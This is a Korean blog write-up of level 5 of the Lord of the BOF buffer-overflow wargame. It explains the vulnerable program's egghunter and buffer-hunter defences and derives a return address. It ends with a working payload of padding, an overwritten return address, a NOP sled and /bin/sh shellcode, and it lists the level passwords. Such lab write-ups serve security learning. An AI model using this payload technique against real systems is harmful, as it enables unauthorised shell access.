일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- 앙버터마카롱
- 잠실새내 도그존
- typescript
- 비동기배열
- graphql mutation error
- 신촌 소문난집
- 지보싶 신촌점
- 화이트 해커를 위한 웹 해킹의 기술
- 운정 소바동
- 비동기배열처리방법
- 홍대 카페 장쌤
- 금별맥주
- 화이트해커를 위한 웹 해킹의 기술
- promise처리
- graphql
- 도그존
- apolloclient
- apollo react native
- graphql react native
- graphql with RN
- useMutation error
- 홍대 예술
- 홍대 토라비
- 잠실새내
- graphql with reactnative
- 고르드
- 예쁜술집 예술
- 토라비
- graphql 400
- promise메서드
- Today
- Total
yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆
LOB 5번 풀이 (orc) 본문
id: orc
pw: cantata
/*
The Lord of the BOF : The Fellowship of the BOF
- wolfman
- egghunter + buffer hunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
-
- strcpy의 BOF 취약점 이용해서 공격
- egghunter 코드 삽입 (환경변수를 이용한 공격 불가능)
- bufferhunter 코드 삽입 (buffer 내에 쉘코드 삽입해도 0으로 초기화 됨, 사용 불가)
- 전달하려는 문자열의 48번째는 "\xbf"와 같아야함 (같지 않으면 강제종료)
- buffer에 담긴 내용 출력
wolfman을 디스어셈블 하면 다음과 같다.
main+185 에서 strcpy의 인자로 ebp-40의 주소를 넣어줌
main+197 에서 printf의 인자로 ebp-40의 주소를 넣어줌
main+218 에서 memset의 인자로 ebp-40의 주소를 넣어줌
=> ebp-40이 buffer의 시작주소
main+36 에서 ebp-44에 0을 넣어줌
=> ebp-44가 i의 주소
스택구조를 그려보면 다음과 같다
우리는 egghunter와 bufferhunter 때문에 buffer 공간과 환경변수는 사용할 수 없다. 그래서 쉘 코드를 저장할 다른 공간을 찾아야 한다. 우리는 buffer에서 값을 채워 ebp를 넘을 수는 있지만 buffer 보다 아래 있는 공간에는 값을 채울 수 없다.
따라서 ret 위의 공간에 NOP와 쉘 코드를 채워줄 것이다.
이전처럼 tmp 디렉토리를 만들고 wolfman을 복사해서 ret 주소를 알아내보았는데, 막상 실행해보니 segmentation fault 가 일어났다. (ret가 유효하지 않은 주소일 때 발생하는 오류라고 생각하면 된다. )
segmentation fault가 발생하는 이유로는 gdb에서 실행했을 때와 프로그램이 실제로 실행될 때 프로그램이 할당받는 메모리 주소에 차이가 발생할 수도 있다는 이유였다.
그래서 프로그램이 실제로 실행될 때 buffer 주소를 얻기 위해 기존 wolfman.c 코드를 복사, 약간의 수정을 거쳐 wolfman2.c 코드를 만들었다.
wolfman2.c의 코드는 다음과 같다.
/*
wolfman2.c code
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%p\n", buffer); //buffer 값이 아닌 주소를 출력하도록 변경
// buffer hunter
memset(buffer, 0, 40);
}
위의 코드를 컴파일 후 실행해보았다. 실행할 때 조건은 기존 wolfman과 같다. 44바이트를 임의로 채워주고 48번째가 "\xbf"여야하기 때문에 45번째 부터 "\xbf"로 채워주었다. ret 뒤에는 쉘 코드도 넣어주었으나 현재 단계에서는 사실 필요없음.
(payload 와 비슷하게 만들기 위해 붙임)
인자를 전달해주고 실행했더니 0xbffffa60 이라는 주소가 출력되었다. 이는 buffer의 시작주소다!
우리가 ret에 넣어야하는 주소는 buffer에서 48바이트 떨어진 buffer+49 의 주소이다!
0xbffffa60+0x31 = 0xbffffa91 이 ret 위의 주소를 가리킨다.
따라서 ret에 0xbffffa91을 넣어주면 쉘 코드가 실행될 것이다.
이제 wolfman을 공격해보자!
44바이트를 의미없는 값으로 채워주고, ret에는 ret 바로 위의 주소를 넣어주고 ret 위에는 NOP와 쉘 코드를 넣어주자
payload: ./wolfman `python -c 'print "a"*44+"\x91\xfa\xff\xbf"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
(혹시 몰라 NOP를 100바이트 정도 채우고 쉘 코드를 넣어주었다. NOP slide를 위해)
bash 쉘이 정상적으로 띄워졌고, wolfman의 권한을 얻어 password를 얻을 수 있었다.
wolfman의 pw: "love eyuna"
'wargame 풀이 > LOB' 카테고리의 다른 글
LOB 7번 풀이 (darkelf) (0) | 2020.11.10 |
---|---|
LOB 6번 풀이 (wolfman) (0) | 2020.11.07 |
LOB 4번 풀이 (goblin) (0) | 2020.11.02 |
LOB 3번 풀이 (cobolt) (0) | 2020.10.29 |
LOB 2번 풀이 (gremlin) (0) | 2020.10.29 |